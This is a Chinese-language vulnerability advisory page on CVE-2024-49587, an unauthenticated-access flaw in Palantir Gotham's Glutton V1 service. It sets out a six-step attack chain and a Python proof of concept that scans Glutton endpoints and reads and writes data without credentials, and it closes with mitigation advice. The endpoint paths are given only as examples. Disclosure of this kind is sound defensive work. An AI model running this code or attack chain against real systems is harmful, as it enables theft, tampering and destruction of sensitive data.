IPBUF安全漏洞报告
English
CVE-2024-49587 CVSS 9.1 严重

CVE-2024-49587 Palantir Gotham Glutton V1服务未授权访问漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2024-49587
漏洞类型
缺失身份认证/未授权访问
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Palantir Gotham - Glutton V1 Service

相关标签

CVE-2024-49587Palantir GothamGlutton V1缺失身份认证未授权访问API安全Critical漏洞CVSS 9.1数据泄露配置错误

漏洞概述

CVE-2024-49587是Palantir Gotham平台中Glutton V1服务的一个严重安全漏洞。该漏洞由于Glutton V1服务端点在Gotham堆栈上暴露时缺少任何身份认证机制,导致未经授权的用户可以直接访问Glutton后端服务。攻击者无需具备任何权限即可直接与该后端服务交互,进而可能读取、修改或删除敏感数据。由于该服务已被自动部署到所有Apollo管理的Gotham实例,因此影响范围广泛。该漏洞CVSS评分高达9.1,属于严重级别,对系统机密性和完整性造成严重影响。

技术细节

Glutton V1服务是Palantir Gotham平台的一个内部服务组件,其REST API端点在部署时未实施任何认证和授权检查。攻击者可通过直接向Glutton后端服务发送HTTP请求来绕过前端应用的权限控制机制。具体而言,未认证的攻击者可以构造特定的API请求来访问受限功能,包括:(1) 数据读取操作 - 通过GET请求访问敏感数据接口;(2) 数据更新操作 - 通过POST/PUT请求修改系统配置或业务数据;(3) 数据删除操作 - 通过DELETE请求删除关键记录。该漏洞源于服务设计时假设网络层已实施足够隔离,但实际部署中该服务暴露于不可信网络环境。攻击者可利用此漏洞在无需任何凭据的情况下完全控制Glutton服务的数据平面。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Palantir Gotham实例,通过扫描发现暴露的Glutton V1服务API端点
STEP 2
步骤2: 端点发现
攻击者探测/glutton/api/v1路径下的各个端点(如/endpoints、/data、/config),确认无需认证即可访问
STEP 3
步骤3: 未授权访问
攻击者直接向Glutton后端发送HTTP请求,绕过前端应用的权限控制机制
STEP 4
步骤4: 数据窃取
通过GET请求读取敏感数据,包括系统配置、业务数据、用户信息等机密内容
STEP 5
步骤5: 数据篡改
通过POST/PUT请求修改Glutton服务管理的配置数据或业务记录
STEP 6
步骤6: 数据破坏
通过DELETE请求删除关键数据记录,造成数据丢失和服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-49587 PoC - Unauthenticated Glutton V1 Access # Palantir Gotham Glutton Service Endpoint Discovery and Access import requests import json import sys TARGET_HOST = "https://gotham-example.palantir.com" GLUTTON_BASE_PATH = "/glutton/api/v1" def check_glutton_exposure(target): """Check if Glutton V1 endpoints are exposed without authentication""" endpoints = [ "/endpoints", "/data", "/config", "/health", "/status" ] print(f"[*] Scanning {target} for Glutton V1 exposure...") for endpoint in endpoints: url = f"{target}{GLUTTON_BASE_PATH}{endpoint}" try: response = requests.get(url, timeout=10, verify=False) print(f"\n[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") if response.status_code == 200: print(f" [!] VULNERABLE: Endpoint accessible without auth") print(f" Response: {response.text[:200]}") elif response.status_code == 401: print(f" [+] Protected: Authentication required") else: print(f" [-] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") def exploit_glutton_read(target): """Exploit: Read data from Glutton backend without authentication""" print(f"\n[*] Attempting data read via Glutton API...") url = f"{target}{GLUTTON_BASE_PATH}/data" headers = { "Content-Type": "application/json", "User-Agent": "Glutton-Client/1.0" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[!] Successfully retrieved data without authentication!") return response.json() except: pass return None def exploit_glutton_write(target, data_payload): """Exploit: Update data via Glutton backend without authentication""" print(f"\n[*] Attempting data update via Glutton API...") url = f"{target}{GLUTTON_BASE_PATH}/data" headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=data_payload, headers=headers, timeout=10) if response.status_code in [200, 201, 204]: print("[!] Successfully updated data without authentication!") return True except: pass return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] check_glutton_exposure(TARGET_HOST) # Note: Only use for authorized penetration testing

影响范围

Palantir Gotham (Apollo-managed instances with Glutton V1 service)
Glutton V1 service on Gotham stacks (all versions prior to patch)

防御指南

临时缓解措施
如果无法立即应用官方补丁,应立即在网络层限制对Glutton服务的访问,仅允许经过授权的内部服务通信。同时在API网关层面实施临时访问控制策略,强制对所有Glutton API请求进行身份验证。建议联系Palantir获取具体的版本升级指南和补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表